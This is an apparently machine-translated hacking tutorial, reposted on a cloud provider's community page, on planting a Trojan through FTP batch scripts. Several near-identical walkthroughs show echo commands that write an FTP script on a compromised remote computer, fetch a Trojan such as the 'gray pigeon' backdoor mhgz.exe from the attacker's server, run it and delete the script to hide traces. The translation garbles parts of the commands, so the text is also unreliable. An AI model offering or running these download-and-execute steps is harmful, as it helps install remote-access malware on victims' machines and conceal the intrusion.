FTP batch download Trojan

Source: Internet
Author: User
Tags echo command ftp commands ftp connection ftp file

@ Echo open www.xxx.com> 1.txt "// change open 237927142.vicp.net to your FTP Space
@ Echo 123> 1.txt "// FTP space user
@ Echo 123> 1.txt "// FTP space Password
@ Echo get 3.exe>> 1.txt "// Trojan file name to be downloaded
@ Echo bye> 1.txt "// exit the FTP Space
@ FTP-S: 1.txt
@ 3.exe "// run the Trojan
@ Del 1.txt "// Delete 1.txt
@ Exit "// exit Telnet .. connect to the next IP Address

-----------------------------------------------------------


Step 1: Use the echo command to create a new text in the recipient's computer:

Echo open ***. ***. ***. * **> C: \ xxx.txt //***. ***. ***. * ** is the FTP address.
Echo XXX-XXX> C: \ xxx.txt // XXX-xxxs is the user name
Echo YYY-YYY> C: \ xxx.txt // The YYY-YYY is the password
Echo CD download> C: \ xxx.txt // enter the file directory and run the CD command
Echo get zzz.exe> C: \ xxx.txt // zzz.exe is the file name.
Echo bye> C: \ xxx.txt

Step 2
You can use ftp-S: C: \ xxx.txt to download the file or run it as a bat file.

-----------------------------------------------------------

@ Echo open 127.0.0.1> down. ini: Change the IP address to your ftp ip address.
@ Echo Guai> down. ini: User Name
@ Echo 123456> down. ini: Password
@ Echo get 1.txt>> down. ini: The downloaded Trojan.
@ Echo bye> down. ini: Exit FTP
@ FTP-S: Down. ini: use ftp to read the FTP commands in the created temporary file
@ 1.txt: Run Trojan
@ Del down. ini: delete a temporary file
@ Del 1.txt: This Trojan can be deleted because it is automatically deleted.

-----------------------------------------------------------

In the CMD environment of a remote computer, if files cannot be transmitted through the IPC $ channel, only files can be downloaded through FTP.
Assume that we already have an ftpserver and a gray pigeon Trojan file mhgz.exe. We should know three parameters of the FTP server:
1. IP address of the FTP server, for example, 203.75.44.34
2. FTP Server Username: for example, tty
3. password of the FTP server, for example, tty123
Enter the following commands in the CMD mode of the remote computer: 1. Echo open 203.75.44.34> tty.txt log on to the FTP server
2. Echo tty> tty.txt User Name
3. Echo tty123> tty.txt Password
4. Start echo bin> tty.txt.
5. Echo get mhgz.exe> tty.txt download the gray pigeon Trojan
6. Echo bye> tty.txt disable the FTP server
After the authorization command is input, a tty.txt file is generated on the remote computer with the following content:
Open 203.75.44.34
Tty
Tty123
Bin
Get mhgz.exe
Bye
Run the following command on the remote computer:
FTP-S: tty.txt is intended to read the scripts in tty.txt and execute the ftpcommand. After the command is executed, the gray-Pigeon Trojan file mhgz.exe will be downloaded to the other computer.
Del c: \ tty.txt
How to enter the directory without writing
1. Echo open 203.75.44.34> tty.txt log on to the FTP server
2. Echo tty> tty.txt User Name
3. Echo tty123> tty.txt Password
4. Start echo bin> tty.txt.
CD down To Go To The down directory
5. Echo get mhgz.exe> tty.txt download the gray pigeon Trojan
6. Echo bye> tty.txt disable the FTP server

-----------------------------------------------------------

FTP File Download
The procedure for downloading an FTP file is as follows:
Echo open XXX. XXX> ftp.txt
Echo user> ftp.txt
Echo password> ftp.txt
Echo binary> ftp.txt [Optional]
Echo get srv.exe> ftp.txt
Echo bye> ftp.txt

FTP-S: ftp.txt
Del ftp.txt
In this example, the srv.exe file is down.

FTP + custom Port
In fact, FTP custom port is very simple, as long as there is a space behind the IP address, followed by the custom port, as shown below:
Echo open XXX. XXXXX 2121> ftp.txt
Echo user> ftp.txt
Echo password> ftp.txt
Echo binary> ftp.txt [Optional]
Echo get srv.exe> ftp.txt
Echo bye> ftp.txt

FTP-S: ftp.txt
Del ftp.txt
Here, the custom port is 2121, as long as it is consistent with the port on the FTP server.

-----------------------------------------------------------

======= Let's take a look at the FTP command ..
Mainly include: Get download
Put upload
Bin binary data transmission
Open connection
...
======
Question: How can I use batch processing to log on to FTP and implement commands...

Test:
Bat. bat
-----------
FTP dd.dd.com // hypothetical address
Username
Password
Command...
Bye
Exit
-----------
If this is the case, it will obviously not work. After running to connect to dd.dd.com, You need to manually enter... trouble -_-!
The parameters in the FTP command include-s, which is used to read a file while executing FTP ....
The specifics are as follows: ftp-S: dd. dd
Dd. DD is a file name...
Haha. In this case, OK ....
If we enter the FTP command in the DD. dd file, isn't it OK?
Okay. Let's make it now.
Dd. dd
======================================
Open dd.dd.com
User
User Name
Password
Command...
....
Bye
Exit
======================================
OK, so that the DD. dd file is ready ..
You can manually enter FTP-S: dd. DD.
Think of this... the trouble is coming... you still need to manually... (like a semi-automaticProgram0_0 !)
Wait... we can still create a. Bet file.
Dd. bat
======================================
FTP-S: dd. dd
======================================
Note that DD. DD and DD. bat must be in a directory ..!

Finally, let me remind you of the following points: if the program runs successfully, but it fails to achieve the expected purpose ..

For example, to download the mm.exe file under the public_html/MM/directory

Failed to download the mm.exe file. The file is 0 btyes.

Check whether the directory name of your CD is correct... for some details... will cause file download failure...
==== ---------------------------
Summary:
Today, we learned how to use the batch processing method to implement automatic FTP connection, login, and command execution...
You can extend it as appropriate ....

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.